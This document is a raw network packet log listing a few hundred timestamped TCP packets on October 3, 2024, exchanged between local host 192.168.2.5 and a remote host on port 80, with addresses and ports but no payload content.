Oct 3, 2024 05:02:56.028867960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.028898001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.028918028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.028947115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.028979063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.029689074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.029721975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.029742002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.029742002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.029767990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.029786110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.029936075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.029958010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.029984951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.030014038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.030611038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.030663967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.030668020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.030683994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.030729055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.030761003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153034925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153084993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153112888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153131962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153156042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153178930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153197050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153223038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153281927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153281927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153281927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153281927 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153630018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153645992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153675079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.153803110 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153804064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.153804064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.296235085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.296386003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.296411991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.296428919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.296436071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.296521902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297405005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297424078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297466993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297498941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297559023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297589064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297606945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297607899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297635078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297665119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297677040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297677040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297677040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297692060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297707081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297720909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297729969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297755003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297770023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297770023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297796011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297812939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297830105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297838926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297853947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297871113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297892094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297905922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297911882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297933102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297943115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.297967911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297976017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.297986031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298005104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298007011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298031092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298032045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298053980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298075914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298094988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298099041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298120022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298124075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298140049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298151970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298166037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298187017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298188925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298206091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298228979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298237085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298259974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298260927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298284054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298299074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298335075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298501015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298549891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298561096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298574924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298605919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298636913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298650980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298670053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298695087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298702002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298717022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298722029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298738956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298739910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.298758030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.298779011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299654961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299676895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299700022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299716949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299719095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299736977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299745083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299753904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299767017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299778938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299791098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.299794912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299819946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299838066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.299992085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.300043106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.300369024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.300425053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.300738096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.300796032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.387712955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387738943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387762070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387779951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387814045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387835979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387866974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387883902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387908936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387923956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.387923956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.387923956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.387923956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.387944937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387965918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.387989044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388010025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388010025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388010025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388010025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388039112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388081074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388103008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388122082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388134003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388148069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388154984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388166904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388174057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388195038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388211966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388626099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388641119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388669014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388676882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388715029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388715029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388760090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388780117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388811111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388817072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388832092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388847113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.388864040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.388889074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389003992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389028072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389049053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389053106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389072895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389074087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389094114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389116049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389602900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389648914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.389691114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.389738083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537692070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537767887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537787914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537795067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537853956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537853956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537905931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537925005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537950039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537961006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537969112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.537982941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.537993908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538012981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538032055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538048029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538078070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538129091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538176060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538196087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538223028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538254023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538356066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538374901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538402081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538431883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538458109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538507938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538594961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538609982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538640976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538645983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538669109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538672924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538691044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538710117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538753033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538769960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538795948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538798094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538819075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538819075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538837910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538841963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.538861036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.538877010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539290905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539309978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539334059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539343119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539378881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539380074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539421082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539436102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539459944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539469004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539483070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539489031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539505959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539520979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539568901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539589882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539611101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539613962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539633036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.539633989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539653063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.539670944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540225029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540256023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540278912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540280104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540298939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540335894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540606976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540627003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540651083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540657997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540669918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540678024 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540692091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540697098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540713072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540715933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540735006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540738106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540751934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540765047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540786982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540787935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540805101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.540807962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540832996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.540848017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541223049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541243076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541269064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541300058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541304111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541316986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541342020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541353941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541363955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541393042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541409969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541449070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541467905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541491985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541497946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541517019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.541517973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541575909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.541577101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542048931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542099953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542146921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542160988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542191029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542212009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542222977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542231083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542239904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542256117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542263985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542283058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542310953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542340994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542359114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542385101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542392969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542406082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.542411089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542448997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542479038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:56.542983055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543001890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543025970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:56.543121099 CEST	80	49705	172.67.159.45	192.168.2.5
